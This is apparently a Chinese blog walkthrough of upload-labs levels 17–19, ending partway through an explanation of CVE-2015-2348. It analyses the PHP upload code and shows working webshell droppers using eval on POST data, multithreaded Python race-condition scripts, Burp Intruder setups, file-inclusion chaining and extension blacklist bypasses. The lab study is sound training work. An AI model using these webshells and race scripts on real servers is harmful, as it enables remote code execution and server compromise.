文件上传漏洞-upload靶场17-20关

文件上传漏洞-upload靶场17-20关

简介

经过了图片木马的的几个关卡,了解到如何使用图片写入代码的方式,去上传webshell。它们相较于修改后缀的方式,复杂度升级,需要去了解每一种图片类型的编码,可以在图片中去写入,也可以把图片的标识信息写入到webshell的头部中去,这些办法也是因人而异,大家各取所需就🆗。

在今天的关卡中,引入了竞争的概念。大致的意思,就是去和后端比赛。在你消灭我之前,我要在把webshell上传到后端。现在我们就开始通关之旅。

文件上传-pass17关 (逻辑漏洞-竞争解析)

思路

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

源码分析
$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_name = $_FILES['upload_file']['name'];
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_ext = substr($file_name,strrpos($file_name,".")+1);
    $upload_file = UPLOAD_PATH . '/' . $file_name;

    if(move_uploaded_file($temp_file, $upload_file)){
        if(in_array($file_ext,$ext_arr)){
             $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
             rename($upload_file, $img_path);
             $is_upload = true;
        }else{
            $msg = "只允许上传.jpg|.png|.gif类型文件!";
            unlink($upload_file);
        }
    }else{
        $msg = '上传出错!';
    }
}

从源码分析,它是一个白名单验证,主要流程如下:

  • $ext_arr 是一个白名单数组,包含了允许上传的文件扩展名,如 'jpg''png''gif'
  • $file_name 中保存了上传文件的原始名称。
  • $temp_file 是上传文件在服务器上的临时路径。
  • 使用 substr()strrpos() 函数获取上传文件的扩展名。
  • 使用 $upload_file 设置上传文件的目标存储路径。
  • 调用 move_uploaded_file() 函数将文件从临时位置移动到目标位置。
  • 如果移动文件成功,检查 $file_ext 是否在允许的扩展名数组中。
  • 如果在白名单中,生成一个随机的文件名(使用 rand()date() 函数),将上传文件重命名,并设置 $is_upload 为 true。
  • 如果不在白名单中,设置错误信息 $msg,并删除上传的文件。
  • 如果移动文件失败,设置错误信息 $msg

当我看完源码的第一反应是,这个是不是可以使用%00阶段绕过吗?我在bp实验后,发现了问题。在抓包的时候路径并没上传路径,而%00截断的首要条件就是,一定要使用在暴露的路径上。这是因为在接收文件名时进行 URL 解码,可能会导致 %00 的截断失效。因为在解码后,%00 会被视为一个字节的空字符,而不是一个截断字符。这样,在保存和使用文件名时,就不会产生预期的截断效果。总结一下:

  1. 文件上传路径暴露:要利用 %00 截断来绕过目录限制,目标应用程序的文件上传路径必须被暴露在 URL 或其他可控制访问的位置上。
  2. 文件名进行 URL 解码:将文件名进行 URL 解码操作且被视为字节的空字符而不是截断字符,将导致无法成功利用 %00 截断漏洞。

我们有对pass-12关卡又做了复习,那么这一关不能使用%00阶段绕过,那我们还有什么办法绕过这个白名单呢?在仔细分析源码后,我们终于有所发现。在进入白名单判断前,它就已经把上传的文件,移动到了指定的文件夹内,那么如果我们在,白名单判断之前,直接去解析webshell,是不是有可能运行webshell呢?有了理论我们就去实践。

攻击思路

打开burp suite 拦截请求包,并上传一个webshell,因为在移动文件前没有做白名单验证,我们可以直接上传php文件

image-20230904213304843

现在不要对请求包做任何操作,直接丢到 Intruder模块中进行重放攻击。

image-20230904213921555

在Intruder模块内我们选择狙击手模式,并清理掉所有的payload变量。

image-20230904214037504

在设置payload的时候,把payload的类型选择NULL payload表示没有任何攻击载荷,单纯的重复的发送这个请求包

image-20230904214319214

红框内的是设置,发送请求包的数量, 我填写的2000则代表这个请求包发送2000次,还有下面的选项是则是字面自已无限发送。设置完成后我们开始攻击。

image-20230904214612104

在攻击的时候我们,要再去创建一Intuder模块,一直去访问,我们上传webshell的路径。目的是在后端删掉webshell之前访问到webshell,完成攻击。

image-20230904222407163

更改请求行中的URL路径,修改为我们上传的文件路径。

image-20230904215520587

同样也使用狙击手类型,选择NULL payload类型进行攻击,这次我选的无限重复。直到攻击完成为止,所有准备已完毕,我们正式攻击。

image-20230904220801483

上传状态是200 代表一直在上传,并都能成功,但是攻击一直是处于404,则表示没有访问到我们上传的webshell,抢不到访问权,按逻辑来说,我们访问的速度一定要比上传快,不然人家都删掉了,我们在傻不拉几的访问,所以我们还要在去设置一下访问的并发数量。

image-20230904221222305

在资源池内,把并发数量改到50,也就是说一次发送50个包去抢占访问。 现在继续尝试

image-20230904222329204

在增加发送的并发数量后,果然还是竞争成功。

image-20230904222741054

但是此时我发现一个比较尴尬的问题,虽然我成功的赢得了比赛,但是后端还是把webshell给删除掉了,我们所做工工作都是做了无用功。

此时我又在琢磨,我们现在已经成功的上传的webshell,通过brup的反馈,是能够成功运行的,我要怎么样才是保住上传webshell不被删。一直第二天早上,吃早餐的时候看到鸡蛋,想到了鸡生蛋蛋生鸡,既然我已经能够成功的上传一个webshell,为什么我不就不能让它生一个蛋呢。

我可以使 fopen()以写入模式 "w" 打开一个webshell 的文件,加入文件不存在就会创建一个文件。然后,我们使用 fputs() 将 PHP 代码字符串 $code 写入文件中。这样不就完成鸡生蛋的吗。而且我们上传的这个文件,只要完成任务后,以后都不用在用到,所以被后端清除掉,也没关系。心动不如行动,开始整活。

<?php fputs(fopen('1.php','w'),'<?php @eval($_POST["cmd"])?>');?>

把以上流程重新再走一遍。

image-20230904224404934

感觉burpsuite 的访问太过繁琐,又不能控制,于是我自己写了一份python脚本来执行访问。

import requests
import threading


url = 'http://192.168.30.253/upload/'  # 目标URL
path = '/upload/11.php'  # webshell路径



xian = 2 # 线程个数配置,数字越大,线程越多,速度越快

num = 0  # 上传次数


def upload_file():
    global num

    while 1:
        response = requests.get(url=url+path)
        num += 1
        status = response.status_code

        if status != 200:
            print(f"竞争失败:第{num}次. 状态码{status}")
            continue
        elif status == 200:
            print(f'竞争成功:第{num}次,状态码{status}')
            break


threads = []
for _ in range(xian):  # 创建5个线程
    t = threading.Thread(target=upload_file)
    threads.append(t)
    t.start()

if __name__ == "__main__":

    for t in threads:
        t.join()

image-20230904224719516

因为写了多线程,几乎1秒都不到就已经成功拿下,赢得的比赛。现在就去尝试这个“鸡”是否成功生下了“蛋”

我们上传的文件按理论来说,应该为生成一个名字为1.php的webshell。现在我就去访问。

image-20230904225455278

成功拿下。

文件上传漏洞-第十八关 (逻辑漏洞-竞争解析)

思路

image-20230904231608850

源码分析
$is_upload = false;
$msg = null;
if (isset($_POST['submit']))
{
    require_once("./myupload.php");
    $imgFileName =time();
    $u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
    $status_code = $u->upload(UPLOAD_PATH);
    switch ($status_code) {
        case 1:
            $is_upload = true;
            $img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
            break;
        case 2:
            $msg = '文件已经被上传,但没有重命名。';
            break; 
        case -1:
            $msg = '这个文件不能上传到服务器的临时文件存储目录。';
            break; 
        case -2:
            $msg = '上传失败,上传目录不可写。';
            break; 
        case -3:
            $msg = '上传失败,无法上传该类型文件。';
            break; 
        case -4:
            $msg = '上传失败,上传的文件过大。';
            break; 
        case -5:
            $msg = '上传失败,服务器已经存在相同名称文件。';
            break; 
        case -6:
            $msg = '文件无法上传,文件不能复制到目标目录。';
            break;      
        default:
            $msg = '未知错误!';
            break;
    }
}

//myupload.php
class MyUpload{
......
......
...... 
  var $cls_arr_ext_accepted = array(
      ".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
      ".html", ".xml", ".tiff", ".jpeg", ".png" );

......
......
......  
  /** upload()
   **
   ** Method to upload the file.
   ** This is the only method to call outside the class.
   ** @para String name of directory we upload to
   ** @returns void
  **/
  function upload( $dir ){
    
    $ret = $this->isUploadedFile();
    
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }

    $ret = $this->setDir( $dir );
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }

    $ret = $this->checkExtension();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }

    $ret = $this->checkSize();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );    
    }
    
    // if flag to check if the file exists is set to 1
    
    if( $this->cls_file_exists == 1 ){
      
      $ret = $this->checkFileExists();
      if( $ret != 1 ){
        return $this->resultUpload( $ret );    
      }
    }

    // if we are here, we are ready to move the file to destination

    $ret = $this->move();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );    
    }

    // check if we need to rename the file

    if( $this->cls_rename_file == 1 ){
      $ret = $this->renameFile();
      if( $ret != 1 ){
        return $this->resultUpload( $ret );    
      }
    }
    
    // if we are here, everything worked as planned :)

    return $this->resultUpload( "SUCCESS" );
  
  }
......
......
...... 
};

本关的源码有点长,相比其他关卡源码,多了一个类。主要验证规则都写在这个类中属性和方法中。先说下该源码的流程

  1. 使用 require_once("./myupload.php") 引入 myupload.php 文件,该文件包含了 MyUpload 类的定义和方法。
  2. 通过 time() 函数获取一个时间戳,并将其赋值给 $imgFileName 变量作为文件名。
  3. 创建 MyUpload 类的实例对象 $u,将文件的名称、临时文件路径、文件大小和 $imgFileName 传递给构造函数。
  4. 调用 $u->upload(UPLOAD_PATH) 方法执行文件上传,并将返回的上传状态码赋值给 $status_code 变量。
  5. 根据 $status_code 的不同值,使用 switch 语句对上传结果进行处理,分别处理上传成功、已上传但未重命名以及各种上传失败的情况。
  6. 根据上传的结果,可能会修改一些变量的值,如将 $is_upload 设置为 true,记录上传后的文件路径等。

它用于实际的文件上传处理。该方法按照一定的顺序逐步验证文件是否满足上传的要求,如已上传、设置上传目标目录、验证文件扩展名、验证文件大小等。如果所有验证都通过,则移动文件到目标目录,并根据需要进行文件重命名。

从分析可见,该源码中,所有的验证都在来MyUpload实现,类中定义了$cls_arr_ext_accepted变量,用来存储白名单。还有一个类方法upload()在这里它只提供了部分,逻辑判断语句,从内部函数名中,能大概看出它应该是一个,用于判断验证的函数,但是具体的判断函数内容,我们还是不知道。于是我从噶靶场的源码中,把该类的代码全部扒出来进行分析

分析结果如下:

  var $cls_upload_dir = "";         // Directory to upload to.
	var $cls_filename = "";           // Name of the upload file.
	var $cls_tmp_filename = "";       // TMP file Name (tmp name by php).
  var $cls_max_filesize = 33554432; // Max file size.
  var $cls_filesize ="";            // Actual file size.
  var $cls_arr_ext_accepted = array(
      ".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
      ".html", ".xml", ".tiff", ".jpeg", ".png" );
  var $cls_file_exists = 0;         // Set to 1 to check if file exist before upload.
  var $cls_rename_file = 1;         // Set to 1 to rename file after upload.
  var $cls_file_rename_to = '';     // New name for the file after upload.
  var $cls_verbal = 0;              // Set to 1 to return an a string instead of an error code.

这是MyUpload类的所有属性,它们分别定义了:

  1. $cls_upload_dir: 上传文件的目标目录。
  2. $cls_filename: 上传文件的文件名。
  3. $cls_tmp_filename: 上传文件的临时文件名(由PHP生成)。
  4. $cls_max_filesize: 最大文件大小(以字节为单位)。
  5. $cls_filesize: 实际文件大小。
  6. $cls_arr_ext_accepted: 允许上传的文件扩展名数组。
  7. $cls_file_exists: 设置为1以在上传之前检查文件是否存在。
  8. $cls_rename_file: 设置为1以在上传后重命名文件。
  9. $cls_file_rename_to: 上传后文件的新名称。
  10. $cls_verbal: 设置为1以返回字符串而不是错误代码。
 function MyUpload( $file_name, $tmp_file_name, $file_size, $file_rename_to = '' ){
  
    $this->cls_filename = $file_name;
    $this->cls_tmp_filename = $tmp_file_name;
    $this->cls_filesize = $file_size;
    $this->cls_file_rename_to = $file_rename_to;

这是MyUpload类中的构造函数,总共初始化了4个属性。

  1. 构造函数接受四个参数:$file_name(文件名),$tmp_file_name(临时文件名),$file_size(文件大小)和可选的$file_rename_to(新文件名)。
  2. 构造函数将传入的文件名、临时文件名、文件大小和新文件名(如果提供)分别存储在类的属性$cls_filename$cls_tmp_filename$cls_filesize$cls_file_rename_to中。
 function isUploadedFile(){
    
    if( is_uploaded_file( $this->cls_tmp_filename ) != true ){
      return "IS_UPLOADED_FILE_FAILURE";
    } else {
      return 1;
    }
  }

又找到了isUPloadedFile()方法,用于检查文件是否成功上传,主要逻辑如下:

其中is_uploaded_file() 是一个 PHP 内置函数,用于检查文件是否通过 HTTP POST 方法上传到服务器。它接受一个参数,即一个文件的临时路径。

  1. 该方法使用php内置函数 is_uploaded_file( $this->cls_tmp_filename ) 来检查文件是否通过上传过程上传到服务器。
  2. 如果 is_uploaded_file() 的返回值为 true,表示传入的临时文件路径是一个已上传的文件,即文件成功上传到服务器。此时,isUploadedFile() 方法返回值为 1
  3. 如果 is_uploaded_file() 的返回值不为 true,表示文件不是通过 HTTP POST 方法上传的,或者上传过程中出现了问题。此时,isUploadedFile() 方法返回值为字符串 “IS_UPLOADED_FILE_FAILURE”,表示文件上传失败。
  function setDir( $dir ){
    
    if( !is_writable( $dir ) ){
      return "DIRECTORY_FAILURE";
    } else { 
      $this->cls_upload_dir = $dir;
      return 1;
    }
  }

setDir()方法,用于设置上传目标目录,主要逻辑如下:

其中is_writable() 是一个 PHP 内置函数,用于检查指定的目录是否可写。它接受一个参数,即目录的路径。

  1. setDir() 方法中,使用 is_writable( $dir ) 检查指定目录是否可写。
  2. 如果 is_writable() 返回值为 true,表示目录是可写的,即可以在该目录中进行文件上传。此时,setDir() 方法将目录路径保存到类属性 $cls_upload_dir 中,并返回值 1 表示设置上传目录成功。
  3. 如果 is_writable() 返回值为 false,表示目录不可写,即无法在该目录中进行文件上传。此时,setDir() 方法返回值为字符串 “DIRECTORY_FAILURE”,表示设置上传目录失败。
 function checkExtension(){

    if( !in_array( strtolower( strrchr( $this->cls_filename, "." )), $this->cls_arr_ext_accepted )){
      return "EXTENSION_FAILURE";
    } else {
      return 1;
    }
  }

checkExtension()方法,用于验证文件的扩展名是否在允许的范围内,主要逻辑如下:

  1. checkExtension() 方法中,使用 strrchr( $this->cls_filename, "." ) 将文件名中的最后一个点及其后面的部分(即文件的扩展名)提取出来。
  2. 使用 strtolower( strrchr( $this->cls_filename, "." )) 将扩展名转换为小写字母形式。
  3. 利用 in_array() 函数将转换后的扩展名与允许的扩展名数组 $this->cls_arr_ext_accepted 进行比较。in_array() 函数用于在数组中搜索指定值,如果找到则返回 true,否则返回 false
  4. 如果扩展名不在允许的范围内,则 in_array() 返回 false,此时 checkExtension() 方法返回值为字符串 “EXTENSION_FAILURE”,表示扩展名验证失败。
  5. 如果扩展名在允许的范围内,则 in_array() 返回 true,此时 checkExtension() 方法返回值为 1,表示扩展名验证成功。
 function checkSize(){

    if( $this->cls_filesize > $this->cls_max_filesize ){
      return "FILE_SIZE_FAILURE";
    } else {
      return 1;
    }
  }

checkSize方法,用于验证文件的大小是否符合要求,主要逻辑如下:

  1. checkSize() 方法中,通过比较文件的大小 $this->cls_filesize 和最大允许的文件大小 $this->cls_max_filesize 来检查文件的大小是否超过了限制。
  2. 如果文件的大小大于最大允许的文件大小,则 checkSize() 方法返回值为字符串 “FILE_SIZE_FAILURE”,表示文件大小验证失败。
  3. 如果文件的大小不超过最大允许的文件大小,则 checkSize() 方法返回值为 1,表示文件大小验证成功。
 function move(){
    
    if( move_uploaded_file( $this->cls_tmp_filename, $this->cls_upload_dir . $this->cls_filename ) == false ){
      return "MOVE_UPLOADED_FILE_FAILURE";
    } else {
      return 1;
    }

  }

move方法,用于将上传的文件移动到目标目录,主要逻辑如下:

move_uploaded_file() 是一个 PHP 内置函数,用于将上传的文件从临时位置移动到指定的目标位置。它接受两个参数,分别是源文件的临时路径和目标路径。

  1. move() 方法中,使用 move_uploaded_file( $this->cls_tmp_filename, $this->cls_upload_dir . $this->cls_filename ) 将上传的文件移动到目标目录中。
  2. 如果文件移动成功,即 move_uploaded_file() 返回值为 true,则 move() 方法返回值为 1,表示文件移动成功。
  3. 如果文件移动失败,即 move_uploaded_file() 返回值为 false,则 move() 方法返回值为字符串 “MOVE_UPLOADED_FILE_FAILURE”,表示文件移动失败。
  function checkFileExists(){
    
    if( file_exists( $this->cls_upload_dir . $this->cls_filename ) ){
      return "FILE_EXISTS_FAILURE";
    } else {
      return 1;
    }
  }

checFileExists()方法,用于检查目标目录中是否已存在同名文件,主要逻辑如下:

file_exists() 是一个 PHP 内置函数,用于检查指定文件或目录是否存在。它接受一个参数,即要检查的文件或目录路径。

  1. checkFileExists() 方法中,使用 file_exists( $this->cls_upload_dir . $this->cls_filename ) 检查目标目录中是否已存在同名文件。
  2. 如果目标目录中已存在同名文件,即 file_exists() 返回值为 true,则 checkFileExists() 方法返回值为字符串 “FILE_EXISTS_FAILURE”,表示目标目录中已存在同名文件,验证失败。
  3. 如果目标目录中不存在同名文件,即 file_exists() 返回值为 false,则 checkFileExists() 方法返回值为 1,表示目标目录中不存在同名文件,验证成功。
function renameFile(){

    if( $this->cls_file_rename_to == '' ){

      $allchar = "abcdefghijklnmopqrstuvwxyz" ; 
      $this->cls_file_rename_to = "" ; 
      mt_srand (( double) microtime() * 1000000 ); 
      for ( $i = 0; $i<8 ; $i++ ){
        $this->cls_file_rename_to .= substr( $allchar, mt_rand (0,25), 1 ) ; 
      }
    }    
     $extension = strrchr( $this->cls_filename, "." );
    $this->cls_file_rename_to .= $extension;
    
    if( !rename( $this->cls_upload_dir . $this->cls_filename, $this->cls_upload_dir . $this->cls_file_rename_to )){
      return "RENAME_FAILURE";
    } else {
      return 1;
    }
  }

renameFile()方法,用于给文件重命名,主要逻辑如下:

  1. renameFile() 方法中,首先判断是否提供了新的文件名。如果没有提供新的文件名,则生成一个由随机字母构成的文件名。
  2. 生成随机文件名的步骤与之前解释的相同。
  3. 在生成随机文件名后,将原始文件的扩展名保存到变量 $extension 中,使用 strrchr( $this->cls_filename, "." ) 函数获取扩展名。
  4. 将原始文件的扩展名添加到生成的随机文件名上,作为新的文件名。
  5. 使用 rename() 函数将源文件从原始路径重命名为新的路径。
  6. 如果重命名成功,则 renameFile() 方法返回值为 1,表示重命名成功。
  7. 如果重命名失败,即 rename() 返回值为 false,则 renameFile() 方法返回值为字符串 “RENAME_FAILURE”,表示重命名失败。
  function resultUpload( $flag ){

    switch( $flag ){
      case "IS_UPLOADED_FILE_FAILURE" : if( $this->cls_verbal == 0 ) return -1; else return "The file could not be uploaded to the tmp directory of the web server.";
        break;
      case "DIRECTORY_FAILURE"        : if( $this->cls_verbal == 0 ) return -2; else return "The file could not be uploaded, the directory is not writable.";
        break;
      case "EXTENSION_FAILURE"        : if( $this->cls_verbal == 0 ) return -3; else return "The file could not be uploaded, this type of file is not accepted.";
        break;
      case "FILE_SIZE_FAILURE"        : if( $this->cls_verbal == 0 ) return -4; else return "The file could not be uploaded, this file is too big.";
        break;
      case "FILE_EXISTS_FAILURE"      : if( $this->cls_verbal == 0 ) return -5; else return "The file could not be uploaded, a file with the same name already exists.";
        break;
      case "MOVE_UPLOADED_FILE_FAILURE" : if( $this->cls_verbal == 0 ) return -6; else return "The file could not be uploaded, the file could not be copied to destination directory.";
        break;
      case "RENAME_FAILURE"           : if( $this->cls_verbal == 0 ) return 2; else return "The file was uploaded but could not be renamed.";
        break;
      case "SUCCESS"                  : if( $this->cls_verbal == 0 ) return 1; else return "Upload was successful!";
        break;
      default : echo "OUPS!! We do not know what happen, you should fire the programmer ;)";
        break;
    }
  }

}; 

最后的resultUpload()方法,用于根据传入的标志值返回与上传结果相关的信息。

  1. resultUpload() 方法接受一个参数 $flag,用于表示上传的结果标志。
  2. 使用 switch 语句根据传入的标志值进行不同的处理。对于不同的标志值,返回不同的信息或错误码。
  3. 如果标志值为 “IS_UPLOADED_FILE_FAILURE”,表示文件上传到临时目录失败,返回值为 -1 或相应的错误信息。
  4. 如果标志值为 “DIRECTORY_FAILURE”,表示目标目录不可写,返回值为 -2 或相应的错误信息。
  5. 如果标志值为 “EXTENSION_FAILURE”,表示文件类型不被接受,返回值为 -3 或相应的错误信息。
  6. 如果标志值为 “FILE_SIZE_FAILURE”,表示文件大小超出限制,返回值为 -4 或相应的错误信息。
  7. 如果标志值为 “FILE_EXISTS_FAILURE”,表示目标目录中已存在同名文件,返回值为 -5 或相应的错误信息。
  8. 如果标志值为 “MOVE_UPLOADED_FILE_FAILURE”,表示文件移动失败,返回值为 -6 或相应的错误信息。
  9. 如果标志值为 “RENAME_FAILURE”,表示文件上传成功但重命名失败,返回值为 2 或相应的错误信息。
  10. 如果标志值为 “SUCCESS”,表示文件上传成功,返回值为 1 或相应的成功信息。
  11. 如果标志值不匹配上述任何情况,则返回一个默认的错误信息。

分析完类中全部代码后,我们知道这它的逻辑,

  • 上传的文件首先会检查是否上传成功,否则返回"IS_UPLOADED_FILE_FAILURE"
  • 上传成功则检测上传的目录是否可用,否则返回"DIRECTORY_FAILURE"
  • 接下来就会检查扩展名是否在白名单内,否则返回"EXTENSION_FAILURE"
  • 如果在白名单内,再度检查文件大小是否符合规则,不合符则返回"FILE_SIZE_FAILURE"
  • 文件大小符合规则,则会在检查目录中是否有同名文件,如果有则返回 “FILE_EXISTS_FAILURE”
  • 以上验证都通过后,就会把文件移动到指定的路径中,移动失败则返回"MOVE_UPLOADED_FILE_FAILURE"
  • 最后在进行根据规则,重命名文件。若命名失败则返回"RENAME_FAILURE"
  • 当所有验证成功,则返回"SUCCESS",表示文件上传成功。

不管上传在那个环节出错,都会通过resultUpload()方法将对应的状态码,返还给主逻辑,然后根据在状态码用switch输出相应的内容。

既然已经知道源码的所有逻辑了,我们开始想想该怎么攻入。完成通关。

攻击思路

通过源码分析,可以看出这个上传逻辑相对严谨,具有一定的安全性和保护措施。下面对每个安全特性进行进一步解释:

  1. 没有暴露上传路径:上传路径没有被暴露,这样可以防止攻击者通过上传路径的一些特殊字符(如 %00)来绕过验证,确保上传路径的完整性和安全性。

  2. 白名单验证:在移动文件到指定路径之前,会进行白名单验证,确保只允许上传特定类型的文件,其他非白名单文件将被拒绝。这样可以减少安全风险,防止上传恶意文件或可执行文件(如 Webshell)。

  3. 文件大小限制:文件大小有一个最大限制(32MB),这个限制可以防止上传过大的文件,减少服务器资源开销,并避免潜在的安全风险。

  4. 检查相同名文件:通过检查目标目录是否存在相同文件名的文件,避免了文件重复上传和覆盖。这有助于保护已有文件的完整性和数据的一致性。

  5. 完成验证后移动文件:只有在通过了所有的验证步骤后,才会将文件移动到指定的目录中。这种顺序性确保了文件只有在通过了安全验证后才会存储在服务器上。

  6. 时间戳重命名文件:移动文件到指定目录后,会根据当前时间戳给文件进行重命名。这样可以确保每个文件都有唯一的名称,增加了文件的随机性,避免了文件名的猜测和攻击。

大家可能觉得第4点和第6点有冲突,既然是以时间戳重命名的文件,那么就不可能存在相同名字的问题吧,但是事实是,如果我们使用工具脚本,使用多线程并发去上传时,两个文件上传的时间是毫秒级别,那么这两个文件就可能是同一时间戳,那么就变成是同一文件名。

该源码路基,感觉比pass-17升级了,上传文件后又用白名单,把文件后缀卡的死死的。但是这串源码貌似没有对图片做任何限制,就连MIME类型都没有做限制,我们是否可以采用,webshell把后缀改为白名单上传呢?

image-20230905142724061

编写一个webshell,然后把后缀改为jpg格式,不用burp抓包,直接上传看看是否能成功。

image-20230905143601653

果然,只要后缀能对上就能成功上传。现在尝试找一下是否有该关卡是否有文件包含的漏洞,分析了好几遍源码,就是没有发现文件包含的漏洞,虽然在源码头部有一个require_once("./myupload.php");的包含函数,但是在它当前目录下包含一个特定的文件,而且路径是固定的。因此,它没有直接从用户输入派生的文件包含路径,也没有明显的安全问题。

在此我深刻的怀疑过自己,是不是漏了什么东西没发现,研究好长时间去,尝试找下其他漏洞,但是还是一无所获,我甚至都开始怀疑,是不是作者留下来的坑,搞人心态。。哎~

现在我也不在纠结了,还是利用 pass-14的文件包含漏洞去解决目前的囧境了。如果大家知道这一关的正确闯关手法,请一定要告诉我,一定重谢~~!!

image-20230905160034087

在使用文件包含漏洞,成功解析jpg文件中的php代码,至此闯关失败。因为我没能从pass-18的页面中找到正确的漏洞,失败。

不过在这一关卡中,还存在一个逻辑错误。它是移动文件到指定目录后,才去重命名的。这样就可以照成一个竞争环境,假如说,在源码中不去显示图片成功上传的路径,我们就可以使用这个漏洞,去上传一个webshell的图片文件。攻击思路和pass-17差不多,只不过要把访问路径中,再加上一个文件包含漏洞路径。操作如下:

image-20230905160546911

此次我们还是上传一个图片webshell,但是内容要改成,“鸡生蛋”的形式(pass-17)介绍过,打开Bp抓包

image-20230905160721648

这里的操作和pass-17是一模一样,唯一有变化的就是访问脚本,它需要构造一个文件包含的参数,并拼接在内。

import requests
import threading

url = 'http://192.168.30.253/upload/include.php'  # 目标URL
path_file = '/upload11.jpg'
params = {'file': '.' + path_file}
thread = 2  # 线程个数配置,数字越大,线程越多,速度越快
num1 = 0  # 失败次数
num2 = 0  # 成功次数


def upload_file():
    global num1, num2

    while 1:
        response = requests.get(url=url, params=params)
        start = response.text
        status = response.status_code
        if 'a' in start:
            num1 += 1
            print(f'竞争失败:第{num1}次.')
            continue

        else:
            num2 += 1
            print(f"竞争成功:第{num2}次,状态码{status}")
            break


threads = []
for _ in range(thread):  # 创建5个线程
    t = threading.Thread(target=upload_file)
    threads.append(t)
    t.start()

if __name__ == "__main__":

    for t in threads:
        t.join()

    print(f'\n\n一共竞争了{num1 + num2}次,竞争失败:{num1},竞争成功{num2}')

因为,使用文件包含的时候,它的状态码一直都会是200,所以我在webshell中添加了一个标记,同时也修改了脚本中的判断语句,如果字符a在不在返回页面的文本中,则竞争失败,反正竞争成功。

<?php fputs(fopen(__DIR__ . '/2.php', 'w'), "<?php @eval($_POST[cmd]); ?>");?>

现在同时打开 burp重复上传2000次,并开启python一直访问包含地址。竞争开始

image-20230905165423584

在此我还发现了一件事情,只要上传的速度快,在后门还没来记得访问的情况下,1234.jpg就已经保存在了指定目录下。我的burp suite 设置的并发数量是50,发包2000个,发往以后就出现了这种情况,

经过多次测试后,还是一样,按理论来说 我发送2000个包,至少应该也有两千个文件,但是这里只有14个文件,应该是发送的太快,后端根本就没反应过来,所以才照成这一现象。

经过这个小插曲,我在开启脚本尝试了半个小时,我想要的文件却一直没有出来,这到底怎么回事。。经过一段时间的分析思考,终于还是找到问题的本质,我想创建webshell是已经成功创建了,但是位置不对。

在使用文件包含漏洞时, includerequire 函数来包含文件时,包含的文件将相对于当前包含它的文件所在的目录进行处理。什么意思呢,假如我想用webshell 去生成一个新的webshell,而使用了文件包含,那么文件就只能在你执行 includerequire 函数的文件当前目录下执行。这就是我为什么一直包含失败的原因,因为我找的路径就不对。

相对pass-17关,它竞争用的是php脚本,是直接访问执行的,所以它生成的webshell就和它在一个目录之下。

知道原理后,我们来改变一下webshell,在此进行竞争。

image-20230905214009303

使用python脚本速刷,很快我们就竞争成功,不出意外,1.php这个webshell已经在指定目录里,我们在去解析webshell

image-20230905220825456

解析成功,通关完成。当我通关的时候,我终于想通了,为什么作者,把上传点没有放到upload文件夹里了,因为本主要的漏洞,是以上的逻辑漏洞,需要竞争上传一张图片,然后使用文件包含去解析,创建一个新的webshell,而webshell的位置,然后在之前的图片木马中没有指定,他会默认上传到include文件的目录下,如果我们去修改了源码,在使用正确的方法去通关,就会造成找不到生成的webshell文件, 佩服作者!!

文件上传漏洞-第十九关 (CVE-2015-2348 move_uploaded_file()函数漏洞)

思路

image-20230905220938992

源码分析
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

        $file_name = $_POST['save_name'];
        $file_ext = pathinfo($file_name,PATHINFO_EXTENSION);

        if(!in_array($file_ext,$deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) { 
                $is_upload = true;
            }else{
                $msg = '上传出错!';
            }
        }else{
            $msg = '禁止保存为该类型文件!';
        }

    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

从源码逻辑来看, 它是一个黑名单验证使用了pathinfo()函数来获取的后缀名,如果后缀名不在黑名单内,则获取文件的临时路径,并构建一个文件的完整路径,使用move_upload_file()函数把文件移动到指定的完整路径,验证机制并不晚完善,所以在此关卡着重考虑使用后缀名绕过的方法进行攻略。

image-20230905231833658

在页面中,发现有保存名称的功能,推断上传的文件肯定是以这个名称进行保存。感觉这一关卡比较简单,我们直接上手攻击。

攻击思路

既然是黑名单,老规矩上传一个文件,然后上burpsuite抓个请求包来分析。

image-20230905232426783

和预想中都一样,它是使用页面中的保存名称,来对上传的文件进行重命名,把该请求包发送到repeater上进行重放分析

image-20230905232605181

尝试使用前pass-3 至10关的思路,由于在黑名单中,并没有验证大写的后缀,尝试使用大写后缀进行绕过

image-20230905234009460

在尝试使用.绕过 。

image-20230905234121831

也是轻松绕过了,在尝试使用文件流绕过(::$DATA)

image-20230905234208988

毫无问题,在尝试空格绕过。

image-20230905234518718

依旧毫无问题,难道这题就这么简单? 貌似3-10关的攻击,都能在这关实现,唯一不同的就是,可以自己命名文件?反正我从源码中是没有看到,它还有其他验证方式。

经过一番查找资料,终于还是发现,这一关着重是想告诉我们CVE-2015-2348(PHP任意文件上传漏洞),这个漏洞是低版本的php才会有,下面详细介绍一下该漏洞,

科普:

CVE 是 “Common Vulnerabilities and Exposures”(常见漏洞和公开漏洞)的缩写。它是一个国际标准的漏洞命名标识系统。

关于 “2015”,它表示 CVE 标识的分配年份。每年都会生成新的 CVE 标识号,以便对新发现的漏洞进行标识。

数字"2348"没有特定的意义,只是用来表示此特定漏洞在CVE漏洞数据库中的唯一标识号。

CVE 旨在提供一个唯一的标识符来标识和跟踪公开的漏洞。每个漏洞都被分配一个唯一的 CVE 标识号,以便在全球范围内进行统一的识别和引用。
